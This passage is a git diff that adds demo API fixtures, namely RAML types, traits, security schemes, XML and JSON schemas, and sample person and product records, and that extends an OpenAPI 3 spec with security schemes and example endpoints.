+  "name": "Pawel Psztyc",
+  "birthday": "1983-10-20",
+  "gender": "male",
+  "url": "https://domain.com/profile/pawel.psztyc",
+  "image": {
+    "url": "https://domain.com/profile/pawel.psztyc/image",
+    "thumb": "https://domain.com/profile/pawel.psztyc/image/thumb"
+  },
+  "tagline": "Some text about me.",
+  "language": "en_GB",
+  "etag": "W\\244m4n5kj3gbn2nj4k4n4"
+}
diff --git a/demo/apis/arc-demo-api/examples/person.url.encoded b/demo/apis/arc-demo-api/examples/person.url.encoded
new file mode 100644
index 0000000..d28215e
--- /dev/null
+++ b/demo/apis/arc-demo-api/examples/person.url.encoded
@@ -0,0 +1 @@
+id=R34fg663H9KW9MMSKISI&name=Pawel%20Psztyc&birthday=1983-10-20&gender=male&url=https%3A%2F%2Fdomain.com%2Fprofile%2Fpawel.psztyc&tagline=Some%20text%20about%20me.&language=en_GB&etag=W\244m4n5kj3gbn2nj4k4n4
diff --git a/demo/apis/arc-demo-api/examples/person.xml b/demo/apis/arc-demo-api/examples/person.xml
new file mode 100644
index 0000000..b4777c7
--- /dev/null
+++ b/demo/apis/arc-demo-api/examples/person.xml
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<resource error="false" type="AppPerson">
+  <id>Qawer63J73HJ6khjswuqyq62382jG21s</id>
+  <name>John Smith</name>
+  <birthday>1990-10-12</birthday>
+  <gender>male</gender>
+  <url>https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s</url>
+  <image>
+    <url>https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s/image</url>
+    <thumb>https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s/image/thumb</thumb>
+  </image>
+  <tagline>Hi, I'm John!</tagline>
+  <language>en_US</language>
+</resource>
diff --git a/demo/apis/arc-demo-api/examples/product.xml b/demo/apis/arc-demo-api/examples/product.xml
new file mode 100644
index 0000000..2063f1d
--- /dev/null
+++ b/demo/apis/arc-demo-api/examples/product.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<resource error="false" type="Product">
+  <id>f2f7933a-a9ce-11e6-80f5-76304dec7eb7</id>
+  <name>Acme product - mentol flavor, 500 ml.</name>
+  <quantity>500</quantity>
+  <unit>ml</unit>
+  <upc>042100005264</upc>
+  <available>true</available>
+</resource>
diff --git a/demo/apis/arc-demo-api/library.raml b/demo/apis/arc-demo-api/library.raml
new file mode 100644
index 0000000..f392cdd
--- /dev/null
+++ b/demo/apis/arc-demo-api/library.raml
@@ -0,0 +1,36 @@
+#%RAML 1.0 Library
+usage: This is a Library raml
+
+types:
+  TypeFromLibray:
+    properties:
+      age: number
+securitySchemes:
+  oauthLib:
+    type: OAuth 2.0
+    describedBy:
+      queryParameters:
+        access_token:
+          type: string
+          description: Used to send a valid OAuth 2 access token. Do not use with the "Authorization" header.
+          required: false
+      headers:
+        authorization:
+          type: string
+          example: ya.2453vfDb3cJHisdf.*&H
+          description: Used to send a valid OAuth 2 access token. Do not use with the "access_token" query string parameter.
+          required: false
+      responses:
+        401:
+          description: Bad or expired token. This can happen if the user or Dropbox revoked or expired an access token. To fix, re-authenticate the user.
+          body:
+            application/json:
+        403:
+          description: Bad OAuth request (wrong consumer key, bad nonce, expired timestamp...). Unfortunately, re-authenticating the user won't help here.
+          body:
+            application/json:
+    settings:
+      accessTokenUri: http://api.domain.com/oauth2/token
+      authorizationUri: http://api.domain.com/oauth2/auth
+      authorizationGrants: ["authorization_code", "implicit"]
+      scopes: ["profile", "email"]
diff --git a/demo/apis/arc-demo-api/resourceTypes/app-person.raml b/demo/apis/arc-demo-api/resourceTypes/app-person.raml
new file mode 100644
index 0000000..b401640
--- /dev/null
+++ b/demo/apis/arc-demo-api/resourceTypes/app-person.raml
@@ -0,0 +1,49 @@
+#%RAML 1.0 DataType
+
+displayName: A person resource
+description: |
+  An object representing a person in the API.
+  This object will be used in all methods returning a Person or list of people.
+
+type: !include resource.raml
+example:
+  id: "R34fg663H9KW9MMSKISI"
+  name: "Pawel Psztyc"
+  birthday: "1983-10-20"
+  gender: male
+  url: "https://domain.com/profile/pawel.psztyc"
+  image:
+    url: https://domain.com/profile/pawel.psztyc/image
+    thumb: https://domain.com/profile/pawel.psztyc/image/thumb
+  tagline: Some text about me.
+  language: en_GB
+  etag: "W\\244m4n5kj3gbn2nj4k4n4"
+properties:
+  id:
+    description: A unique identifier for a person. It is a 32 bit string containing alphanumeric characters.
+  name:
+    required: true
+    example: John Smith
+    description: Person full name. The input will be rejected if this property is not set while creating new object.
+    type: string
+    pattern: "[0-9a-zA-Z ]+"
+  birthday:
+    type: string
+    description: The person's date of birth, represented as YYYY-MM-DD.
+  gender?:
+    type: string
+    description: |
+      The person's gender. Possible values includes, but are not limited to, the following values:
+      * "male" - Male gender.
+      * "female" - Female gender.
+      * "other" - Other.
+  url:
+    type: string
+    description: The URL of this person's profile.
+  image: !include image.raml
+  tagline:
+    type: string
+    description: The brief description (tagline) of this person.
+  language:
+    type: string
+    description: The user's preferred language for rendering.
diff --git a/demo/apis/arc-demo-api/resourceTypes/example-types.raml b/demo/apis/arc-demo-api/resourceTypes/example-types.raml
new file mode 100644
index 0000000..c74f5ce
--- /dev/null
+++ b/demo/apis/arc-demo-api/resourceTypes/example-types.raml
@@ -0,0 +1,45 @@
+#%RAML 1.0 Library
+
+types:
+  Org:
+    description: Represents an organization unit.
+    type: object
+    properties:
+      onCall: Alertable # inherits all properties from type `Alertable`
+      Head: Manager # inherits all properties from type `Manager`
+  Person:
+    type: object
+    properties:
+      firstname: string
+      lastname: string
+      title?: string
+      kind: string # may be used to differenciate between classes that extend from `Person`
+    example:
+      firstname: Pawel
+      lastname: Psztyc
+      title: Mr.
+      kind: Manager
+  Phone:
+    type: string
+    pattern: "^[0-9|-]+$" # defines pattern for the content of type `Phone`
+  Manager:
+    type: Person # inherits all properties from type `Person`
+    properties:
+      reports: Person[] # inherits all properties from type `Person`; array type where `[]` is a shortcut
+      phone:  Phone
+      kind:
+        type: string
+        enum: [AcmeManager]
+  Admin:
+    type: Person # inherits all properties from type `Person`
+    properties:
+      kind:
+        type: string
+        enum: [AcmeAdmin]
+      clearanceLevel:
+        enum: [ low, high ]
+  AlertableAdmin:
+    type: Admin # inherits all properties from type `Admin`
+    properties:
+      phone: Phone # inherits all properties from type `Phone`; uses shortcut syntax
+  Alertable: Manager | AlertableAdmin # union type; either a `Manager` or `AlertableAdmin`
diff --git a/demo/apis/arc-demo-api/resourceTypes/image.raml b/demo/apis/arc-demo-api/resourceTypes/image.raml
new file mode 100644
index 0000000..9217d6a
--- /dev/null
+++ b/demo/apis/arc-demo-api/resourceTypes/image.raml
@@ -0,0 +1,23 @@
+#%RAML 1.0 DataType
+
+description: |
+  An image object representing an image object strored in the file store.
+  The image can be only included in the response. It has no effect if the Image appear in the
+  request. Endpoint handles image creation on it's own and clients can't process images
+  except of sending image data.
+
+type: object
+properties:
+  url:
+    type: string
+    description: |
+      The URL of the image.
+      To resize the image and crop it to a square, append the query string **?sz=x**, where x is the dimension in pixels of each side.
+  thumb:
+    type: string
+    displayName: Thumbnail
+    description: |
+      An URL to the thumbnail of the image. Thumbnails are 60x60px cropped images of the original image.
+example:
+  url: https://domain.com/profile/pawel.psztyc/image
+  thumb: https://domain.com/profile/pawel.psztyc/image/thumb
diff --git a/demo/apis/arc-demo-api/resourceTypes/message-sent-type.raml b/demo/apis/arc-demo-api/resourceTypes/message-sent-type.raml
new file mode 100644
index 0000000..af5fcd4
--- /dev/null
+++ b/demo/apis/arc-demo-api/resourceTypes/message-sent-type.raml
@@ -0,0 +1,23 @@
+#%RAML 1.0 DataType
+
+type: object
+description: |
+  Message sent by a user object. This represents a message in user's sent folder.
+properties:
+  email:
+    type: string
+    description: Receiver email address. It's a virtual email address assigned to this user. Messages sent to this address will be rerouted to user's original address.
+  message:
+    type: string
+    description: Message body
+  timestamp:
+    type: integer
+    description: Message sent timestamp as a Uxin timestamp.
+  attachements:
+    type: string[]
+    description: List of URLs to the attachments
+    required: false
+  important:
+    type: boolean
+    description: True if the message should be marked as an important.
+    required: false
diff --git a/demo/apis/arc-demo-api/resourceTypes/message-type.raml b/demo/apis/arc-demo-api/resourceTypes/message-type.raml
new file mode 100644
index 0000000..a5eec1f
--- /dev/null
+++ b/demo/apis/arc-demo-api/resourceTypes/message-type.raml
@@ -0,0 +1,33 @@
+#%RAML 1.0 DataType
+
+type: object
+description: An user message object.
+properties:
+  from:
+    type: object
+    description: Object representing sender of the message.
+    required: false
+    properties:
+      uid:
+        type: string
+        description: User ID.
+      name:
+        type: string
+        description: User full name
+      email:
+        type: string
+        description: User emaill address to be used to return the message. It's a virtual email address assigned to this user. Messages sent to this address will be rerouted to user's original address.
+  message:
+    type: string
+    description: Message body
+  timestamp:
+    type: integer
+    description: Message sent timestamp as a Uxin timestamp.
+  attachements:
+    type: string[]
+    description: List of URLs to the attachments
+    required: false
+  important:
+    type: boolean
+    description: True if the message should be marked as an important.
+    required: false
diff --git a/demo/apis/arc-demo-api/resourceTypes/product.raml b/demo/apis/arc-demo-api/resourceTypes/product.raml
new file mode 100644
index 0000000..414dfd9
--- /dev/null
+++ b/demo/apis/arc-demo-api/resourceTypes/product.raml
@@ -0,0 +1,52 @@
+#%RAML 1.0 DataType
+
+displayName: A product resource
+description: A single product representing an item in the store.
+type: !include resource.raml
+properties:
+  id:
+    description: |
+      Product id. It is a UUID of the database record.
+      __This property will be ignored when creating an object.__
+      It will be available when the product is stored in the datastore.
+    pattern: "[0-9a-zA-Z-]+"
+  name:
+    type: string
+    description: Product name
+    example: Acme product - mentol flavor, 500 ml.
+    required: true
+  quantity:
+    type: number
+    description: |
+      The quantity of the product in the one unit of measurement.
+      See `unit` property for more information.
+    example: 500
+    required: true
+  unit:
+    type: string
+    description: The unit of measuremet for the quantity property.
+    example: ml
+    required: true
+  upc:
+    type: string
+    pattern: "[0-9]{12,12}"
+    description: |
+      The Universal Produc Code. It consists of 12 numerical digits. However, because of the
+      integer precision limitation in JavaScript it is represented as a string.
+    example: "042100005264"
+    required: true
+  available:
+    type: boolean
+    description: |
+      Product current availability in the store.
+      Product may be not available but the users still can order it with later delivery date.
+    required: true
+    example: true
+example:
+  id: we2322-4f4f4f-f4f4ff-f4f4ff4
+  name: Acme Product
+  quantity: 200
+  unit: ml
+  upc: "123456789101"
+  available: true
+  etag: "Wsd3deef3rgrgf4r"
diff --git a/demo/apis/arc-demo-api/resourceTypes/resource.raml b/demo/apis/arc-demo-api/resourceTypes/resource.raml
new file mode 100644
index 0000000..77a046b
--- /dev/null
+++ b/demo/apis/arc-demo-api/resourceTypes/resource.raml
@@ -0,0 +1,11 @@
+#%RAML 1.0 DataType
+
+description: |
+  Common properties for all resources returned by the API.
+type: object
+properties:
+  etag:
+    type: string
+    description: |
+      ETag of this resource for caching purposes.
+      __This property will be ignored when creating an object.__
diff --git a/demo/apis/arc-demo-api/schemas/error-response.xsd b/demo/apis/arc-demo-api/schemas/error-response.xsd
new file mode 100644
index 0000000..c90ac7c
--- /dev/null
+++ b/demo/apis/arc-demo-api/schemas/error-response.xsd
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" attributeFormDefault="unqualified">
+  <xs:element name="resource">
+    <xs:complexType>
+      <xs:sequence>
+        <xs:element name="message" type="xs:string"></xs:element>
+      </xs:sequence>
+      <xs:attribute name="error" type="xs:boolean" use="required"/>
+    </xs:complexType>
+  </xs:element>
+</xs:schema>
diff --git a/demo/apis/arc-demo-api/schemas/image.xsd b/demo/apis/arc-demo-api/schemas/image.xsd
new file mode 100644
index 0000000..223116d
--- /dev/null
+++ b/demo/apis/arc-demo-api/schemas/image.xsd
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" attributeFormDefault="unqualified">
+  <xs:element name="image">
+    <xs:complexType>
+      <xs:sequence>
+        <xs:element name="url" type="xs:string"></xs:element>
+        <xs:element name="thumb" type="xs:string"></xs:element>
+      </xs:sequence>
+    </xs:complexType>
+  </xs:element>
+</xs:schema>
diff --git a/demo/apis/arc-demo-api/schemas/person.json b/demo/apis/arc-demo-api/schemas/person.json
new file mode 100644
index 0000000..d840c13
--- /dev/null
+++ b/demo/apis/arc-demo-api/schemas/person.json
@@ -0,0 +1,104 @@
+{
+  "$id": "http://example.com/example.json",
+  "type": "object",
+  "definitions": {},
+  "$schema": "http://json-schema.org/draft-07/schema#",
+  "properties": {
+    "id": {
+      "$id": "/properties/id",
+      "type": "string",
+      "title": "The Id Schema ",
+      "default": "",
+      "examples": [
+        "R34fg663H9KW9MMSKISI"
+      ]
+    },
+    "name": {
+      "$id": "/properties/name",
+      "type": "string",
+      "title": "The Name Schema ",
+      "default": "",
+      "examples": [
+        "Pawel Psztyc"
+      ]
+    },
+    "birthday": {
+      "$id": "/properties/birthday",
+      "type": "string",
+      "title": "The Birthday Schema ",
+      "default": "",
+      "examples": [
+        "1983-10-20"
+      ]
+    },
+    "gender": {
+      "$id": "/properties/gender",
+      "type": "string",
+      "title": "The Gender Schema ",
+      "default": "",
+      "examples": [
+        "male"
+      ]
+    },
+    "url": {
+      "$id": "/properties/url",
+      "type": "string",
+      "title": "The Url Schema ",
+      "default": "",
+      "examples": [
+        "https://domain.com/profile/pawel.psztyc"
+      ]
+    },
+    "image": {
+      "$id": "/properties/image",
+      "type": "object",
+      "properties": {
+        "url": {
+          "$id": "/properties/image/properties/url",
+          "type": "string",
+          "title": "The Url Schema ",
+          "default": "",
+          "examples": [
+            "https://domain.com/profile/pawel.psztyc/image"
+          ]
+        },
+        "thumb": {
+          "$id": "/properties/image/properties/thumb",
+          "type": "string",
+          "title": "The Thumb Schema ",
+          "default": "",
+          "examples": [
+            "https://domain.com/profile/pawel.psztyc/image/thumb"
+          ]
+        }
+      }
+    },
+    "tagline": {
+      "$id": "/properties/tagline",
+      "type": "string",
+      "title": "The Tagline Schema ",
+      "default": "",
+      "examples": [
+        "Some text about me."
+      ]
+    },
+    "language": {
+      "$id": "/properties/language",
+      "type": "string",
+      "title": "The Language Schema ",
+      "default": "",
+      "examples": [
+        "en_GB"
+      ]
+    },
+    "etag": {
+      "$id": "/properties/etag",
+      "type": "string",
+      "title": "The Etag Schema ",
+      "default": "",
+      "examples": [
+        "W\\244m4n5kj3gbn2nj4k4n4"
+      ]
+    }
+  }
+}
diff --git a/demo/apis/arc-demo-api/schemas/person.xsd b/demo/apis/arc-demo-api/schemas/person.xsd
new file mode 100644
index 0000000..bdcca0c
--- /dev/null
+++ b/demo/apis/arc-demo-api/schemas/person.xsd
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" attributeFormDefault="unqualified">
+  <xs:element name="resource">
+    <xs:complexType>
+      <xs:sequence>
+        <xs:element name="id" type="xs:string"></xs:element>
+        <xs:element name="name" type="xs:string"></xs:element>
+        <xs:element name="birthday" type="xs:date"></xs:element>
+        <xs:element name="gender" type="xs:string"></xs:element>
+        <xs:element name="url" type="xs:string"></xs:element>
+        <xs:element name="image">
+          <xs:complexType>
+            <xs:sequence>
+              <xs:element name="url" type="xs:string"></xs:element>
+              <xs:element name="thumb" type="xs:string"></xs:element>
+            </xs:sequence>
+          </xs:complexType>
+        </xs:element>
+        <xs:element name="tagline" type="xs:string"></xs:element>
+        <xs:element name="language" type="xs:string"></xs:element>
+      </xs:sequence>
+      <xs:attribute name="error" type="xs:boolean" use="required"></xs:attribute>
+      <xs:attribute name="type" type="xs:string" use="required"></xs:attribute>
+    </xs:complexType>
+  </xs:element>
+</xs:schema>
diff --git a/demo/apis/arc-demo-api/schemas/product.xsd b/demo/apis/arc-demo-api/schemas/product.xsd
new file mode 100644
index 0000000..60cd5ef
--- /dev/null
+++ b/demo/apis/arc-demo-api/schemas/product.xsd
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" attributeFormDefault="unqualified">
+  <xs:element name="resource">
+    <xs:complexType>
+      <xs:sequence>
+        <xs:element name="id" type="xs:string"></xs:element>
+        <xs:element name="name" type="xs:string"></xs:element>
+        <xs:element name="quantity" type="xs:double"></xs:element>
+        <xs:element name="unit" type="xs:string"></xs:element>
+        <xs:element name="upc" type="xs:string"></xs:element>
+        <xs:element name="available" type="xs:string"></xs:element>
+      </xs:sequence>
+      <xs:attribute name="error" type="xs:string"></xs:attribute>
+      <xs:attribute name="type" type="xs:string"></xs:attribute>
+    </xs:complexType>
+  </xs:element>
+</xs:schema>
diff --git a/demo/apis/arc-demo-api/securitySchemes/basic.raml b/demo/apis/arc-demo-api/securitySchemes/basic.raml
new file mode 100644
index 0000000..fbd188b
--- /dev/null
+++ b/demo/apis/arc-demo-api/securitySchemes/basic.raml
@@ -0,0 +1,5 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+  This API supports Basic Authentication for staging environment.
+type: Basic Authentication
diff --git a/demo/apis/arc-demo-api/securitySchemes/oauth_2_0.raml b/demo/apis/arc-demo-api/securitySchemes/oauth_2_0.raml
new file mode 100644
index 0000000..bf63b5a
--- /dev/null
+++ b/demo/apis/arc-demo-api/securitySchemes/oauth_2_0.raml
@@ -0,0 +1,29 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 2.0
+description: This API supports OAuth 2.0 for authenticating all API requests.
+describedBy:
+  queryParameters:
+    access_token:
+      type: string
+      description: Used to send a valid OAuth 2 access token. Do not use with the "Authorization" header.
+      required: false
+  headers:
+    authorization:
+      type: string
+      example: ya.2453vfDb3cJHisdf.*&H
+      description: Used to send a valid OAuth 2 access token. Do not use with the "access_token" query string parameter.
+      required: false
+  responses:
+    401:
+      description: Bad or expired token. This can happen if the user or Dropbox revoked or expired an access token. To fix, re-authenticate the user.
+      body:
+        application/json:
+    403:
+      description: Bad OAuth request (wrong consumer key, bad nonce, expired timestamp...). Unfortunately, re-authenticating the user won't help here.
+      body:
+        application/json:
+settings:
+  accessTokenUri: http://api.domain.com/oauth2/token
+  authorizationUri: http://api.domain.com/oauth2/auth
+  authorizationGrants: ["authorization_code", "implicit"]
+  scopes: ["profile", "email"]
diff --git a/demo/apis/arc-demo-api/securitySchemes/x-custom.raml b/demo/apis/arc-demo-api/securitySchemes/x-custom.raml
new file mode 100644
index 0000000..28c6f0c
--- /dev/null
+++ b/demo/apis/arc-demo-api/securitySchemes/x-custom.raml
@@ -0,0 +1,26 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+  A custom security scheme for authenticating requests.
+type: x-custom
+describedBy:
+  headers:
+    SpecialToken:
+      description: |
+        Used to send a custom token.
+      type: string
+  queryParameters:
+    debugToken:
+      description: Select one of available values to run the request in the debug mode with selected level.
+      enum: [Info, Log, Warning, Error, Critical]
+      type: string
+      required: false
+    booleanToken:
+      description: Just to test boolean values.
+      type: boolean
+      default: true
+  responses:
+    401:
+      description: |
+        Bad token.
+    403:
diff --git a/demo/apis/arc-demo-api/traits/adminable.raml b/demo/apis/arc-demo-api/traits/adminable.raml
new file mode 100644
index 0000000..cd7dcf1
--- /dev/null
+++ b/demo/apis/arc-demo-api/traits/adminable.raml
@@ -0,0 +1,23 @@
+#%RAML 1.0 Trait
+
+#displayName: Adminable
+description: Use this to mark a resource that can be changed only by users with admin level.
+
+usage: |
+  Some resources can be changed only by users with Admin clerance level. This resources will be
+  marked with the header `X-Admin-Resource` when requesting it. It means that every attemp to
+  update the resource by non-admin user will result with 401 response.
+
+responses:
+  200:
+    headers:
+      X-Amin-Resource:
+        displayName: Admin resource mark header
+        type: boolean
+        default: false
+        description: This header is not set if the resource can be changed by non-admin users.
+  401:
+    description: |
+      The 401 response will be returned when trying to update the resource with
+      non-admin clerance level. Resources that requires admin privileges are marked with
+      `X-Admin-Resource` header when getting the resource.
diff --git a/demo/apis/arc-demo-api/traits/pagination.raml b/demo/apis/arc-demo-api/traits/pagination.raml
new file mode 100644
index 0000000..f786c50
--- /dev/null
+++ b/demo/apis/arc-demo-api/traits/pagination.raml
@@ -0,0 +1,83 @@
+#%RAML 1.0 Trait
+
+# displayName: Paginated
+description: The collection of <<resourcePathName>>.
+usage: |
+  This trait is to be used when the resource is paginated that is the edpoint producses
+  a list of resources in the response.
+  Every paginated response contains a `nextPageToken` property that should be used in pagination
+  to request for next page of the results and `items` which is a list of resources.
+  The `items` property is always defined, even if the response is empty. Therefore the `404`
+  response in this case is not possible. Clients need to handle empty responses by their own.
+  It is crutial that the subsequent requests contain the same set of parameters (like `limit`
+  or `start`) because if this values will change then the `nextPageToken` will be revalidated
+  and pagination will start from the first page.
+queryParameters:
+  limit:
+    type: number
+    description: Limit in the response list
+    maximum: 300
+    minimum: 1
+    example: 100
+    default: 25
+    required: false
+  start:
+    type: number
+    description: The start entry of the list
+    minimum: 0
+    example: 25
+    default: 0
+    required: false
+  nextPageToken:
+    type: string
+    example: CiAKGjBpNDd2Nmp2Zml2cXRwYjBpOXA
+    description: |
+      The `nextPageToken` is a web safe encoded cursor to the next entry in the database.
+      It can be obtained by requesting paginated resource and used in next request to get
+      next results page.
+    pattern: "[a-zA-Z0-9]+"
+    required: false
+responses:
+  200:
+    description: |
+      Paginated response containing a single page of the result.
+      By default one page of the results contains 25 items. You can extend it by setting a
+      `limit` query parameter in your request.
+      When changing parameters while using the `nextPageToken` the `nextPageToken` will be ignored
+      and new query will be performed. Queries with `nextPageToken` should contain the same set
+      of parameters as the first request.
+    body:
+      application/json:
+        type: object
+        properties:
+          items:
+            type: array
+            required: true
+            description: Contains a list of objects for this method.
+            items: <<resourceType>>
+          nextPageToken:
+            type: string
+            required: true
+            example: CiAKGjBpNDd2Nmp2Zml2cXRwYjBpOXA
+            description: |
+              The next page token is a web safe encoded cursor to the next entry in the database.
+              Use it in the next request to obtain next page of the results.
+  400:
+    description: |
+      The error response when one of the parameters is invalid and can't be parsed.
+      Nothing can be done at this time except correcting the request to send valid data.
+    body:
+      application/json:
+        displayName: Invalid
+        type: object
+        properties:
+          error:
+            type: boolean
+            required: true
+            example: true
+            description: Indicate that the response is errored.
+          message:
+            type: string
+            description: The error message associated with the error.
+            example: The `limit` parameter is invalid. Please, provide a number between 1 and 300.
+            required: true
diff --git a/demo/apis/arc-demo-api/traits/rate-limited.raml b/demo/apis/arc-demo-api/traits/rate-limited.raml
new file mode 100644
index 0000000..7105984
--- /dev/null
+++ b/demo/apis/arc-demo-api/traits/rate-limited.raml
@@ -0,0 +1,9 @@
+#%RAML 1.0 Trait
+
+displayName: RateLimited
+usage: TO be used when the API has a rate limit on the API gateway.
+headers:
+  x-rate-client-id:
+    description: he client ID to use for the rate limit.
+    example: 5757gh76
+    required: true
diff --git a/demo/apis/expanded-api/expanded-api.raml b/demo/apis/expanded-api/expanded-api.raml
new file mode 100644
index 0000000..6d5a5ad
--- /dev/null
+++ b/demo/apis/expanded-api/expanded-api.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0
+title: Simple API
+
+/people:
+  get:
+  post:
+  put:
+  patch:
diff --git a/demo/apis/flattened-api/flattened-api.raml b/demo/apis/flattened-api/flattened-api.raml
new file mode 100644
index 0000000..6d5a5ad
--- /dev/null
+++ b/demo/apis/flattened-api/flattened-api.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0
+title: Simple API
+
+/people:
+  get:
+  post:
+  put:
+  patch:
diff --git a/demo/apis/multiple-servers/multiple-servers.yaml b/demo/apis/multiple-servers/multiple-servers.yaml
new file mode 100644
index 0000000..fbac55b
--- /dev/null
+++ b/demo/apis/multiple-servers/multiple-servers.yaml
@@ -0,0 +1,112 @@
+openapi: "3.0.0"
+info:
+  version: 1.0.0
+  title: Swagger Petstore
+  license:
+    name: MIT
+servers:
+  - url: http://petstore.swagger.io/v1
+  - url: http://dev.petstore.swagger.io/v1
+paths:
+  /pets:
+    get:
+      summary: List all pets
+      operationId: listPets
+      tags:
+        - pets
+      parameters:
+        - name: limit
+          in: query
+          description: How many items to return at one time (max 100)
+          required: false
+          schema:
+            type: integer
+            format: int32
+      responses:
+        '200':
+          description: A paged array of pets
+          headers:
+            x-next:
+              description: A link to the next page of responses
+              schema:
+                type: string
+          content:
+            application/json:    
+              schema:
+                $ref: "#/components/schemas/Pets"
+        default:
+          description: unexpected error
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/Error"
+    post:
+      summary: Create a pet
+      operationId: createPets
+      tags:
+        - pets
+      responses:
+        '201':
+          description: Null response
+        default:
+          description: unexpected error
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/Error"
+  /pets/{petId}:
+    get:
+      summary: Info for a specific pet
+      operationId: showPetById
+      tags:
+        - pets
+      parameters:
+        - name: petId
+          in: path
+          required: true
+          description: The id of the pet to retrieve
+          schema:
+            type: string
+      responses:
+        '200':
+          description: Expected response to a valid request
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/Pet"
+        default:
+          description: unexpected error
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/Error"
+components:
+  schemas:
+    Pet:
+      type: object
+      required:
+        - id
+        - name
+      properties:
+        id:
+          type: integer
+          format: int64
+        name:
+          type: string
+        tag:
+          type: string
+    Pets:
+      type: array
+      items:
+        $ref: "#/components/schemas/Pet"
+    Error:
+      type: object
+      required:
+        - code
+        - message
+      properties:
+        code:
+          type: integer
+          format: int32
+        message:
+          type: string
\ No newline at end of file
diff --git a/demo/apis/oas-3-api/oas-3-api.yaml b/demo/apis/oas-3-api/oas-3-api.yaml
index b8cc2b4..992e687 100644
--- a/demo/apis/oas-3-api/oas-3-api.yaml
+++ b/demo/apis/oas-3-api/oas-3-api.yaml
@@ -71,11 +71,6 @@ components:
           description: The title of the article, in CommonMark format.
           type: string
           minLength: 3
-        outdated:
-          description: This is no longer in use.
-          type: string
-          deprecated: true
-          writeOnly: true
   parameters:
     skipParam:
       name: skip
@@ -114,6 +109,7 @@ components:
       flows: 
         implicit:
           authorizationUrl: http://example.org/api/oauth/dialog
+          refreshUrl: http://example.org/api/refresh
           scopes:
             write:pets: modify pets in your account
             read:pets: read your pets
@@ -121,20 +117,30 @@ components:
     BasicAuth:
       type: http
       scheme: basic
+      description: A basic HTTP scheme
 
     BearerAuth:
       type: http
       scheme: bearer
       bearerFormat: JWT
+      description: Bearer form of authentication
     
     ApiKeyAuth:
       type: apiKey
       in: header
       name: X-API-Key
+      description: Using API keys
+
+    ApiKeyQuery:
+      type: apiKey
+      in: query
+      name: X-API-Key
+      description: API Key in a query parameter
     
     OpenID:
       type: openIdConnect
       openIdConnectUrl: https://example.com/.well-known/openid-configuration
+      description: Using OpenId
     
     OAuth2:
       type: oauth2
@@ -142,21 +148,27 @@ components:
         authorizationCode:
           authorizationUrl: https://example.com/oauth/authorize
           tokenUrl: https://example.com/oauth/token
+          refreshUrl: http://example.org/api/refresh
           scopes:
             read: Grants read access
             write: Grants write access
             admin: Grants access to admin operations
+        clientCredentials:
+          tokenUrl: https://example.com/oauth/token
+          refreshUrl: http://example.org/api/refresh
+          scopes:
+            read: Grants read access
+        password:
+          tokenUrl: http://example.org/api/token
+          scopes:
+            write: Grants write access
+      description: An oauth configuration.
 
     cookieAuth:
       type: apiKey
       in: cookie
       name: JSESSIONID
 
-    queryAuth:
-      type: apiKey
-      in: query
-      name: api-key
-
 paths:
   /pets:
     get:
@@ -204,11 +216,141 @@ paths:
                     properties:
                       description:
                         type: string
-  /outdatedEndpoint:
-    description: This endpoint is no longer in use.
+  /securityCombo:
     get:
+      security:
+        - petstore_auth:
+          - write:pets
+        - api_key: []
+        - OpenID: []
+        - OAuth2:
+          - read
+        - cookieAuth: []
+      responses:
+        '200':
+          description: All security
+          content:
+            application/json:
+              schema:
+                type: string
+  /subscribe:
+    post:
+      operationId: subscribe
+      summary: Subscribe to a webhook
+      requestBody:
+        required: true
+        content:
+          application/json:
+            schema:
+              type: object
+              properties:
+                callbackUrl:
+                  type: string
+                  format: uri
+                  example: https://myserver.com/send/callback/here
+                inProgressUrl:
+                  type: string
+                failedUrl:  
+                  type: string
+                successUrl:
+                  type: string
+              required:
+                - callbackUrl
+      responses:
+        '201':
+          description: Webhook created
+      callbacks:
+        myEvent:
+          '{$request.body#/callbackUrl}':
+            post:
+              requestBody:
+                required: true
+                content:
+                  application/json:
+                    schema:
+                      type: object
+                      properties:
+                        message:
+                          type: string
+                          example: Some event happened
+                      required:
+                        - message
+              responses:
+                '200':
+                  description: Your server returns this code if it accepts the callback
+  /oas-properties:
+    post:
+      externalDocs:
+        url: https://docs.com
+        description: A doc
       deprecated: true
-      description: This operation is no longer in use.
+      tags:
+        - "pets"
+        - "tests"
+      description: A description
+      operationId: myId
+      requestBody:
+        description: A body
+        required: false
+        content:
+          application/x-www-form-urlencoded:
+            encoding: 
+              color:
+                style: form
+                explode: false
+            examples:
+              simple:
+                value:
+                  - yellow
+                  - red
+                  - pink
+                summary: A sample color value
+                description: Example of a color value
+            schema:
+              type: object
+              properties:
+                color:
+                  type: array
+                  items:
+                    type: string
       responses:
         '200':
-          description: Successful response
+          description: OK response
+  /http-security:
+    get:
+      security:
+        - BasicAuth: []
+      responses:
+        '201':
+          description: OK
+    post:
+      security:
+        - BearerAuth: []
+      responses:
+        '201':
+          description: OK
+    put:
+      security:
+        - ApiKeyAuth: []
+      responses:
+        '201':
+          description: OK
+    patch:
+      security:
+        - cookieAuth: []
+      responses:
+        '201':
+          description: OK
+    options:
+      security:
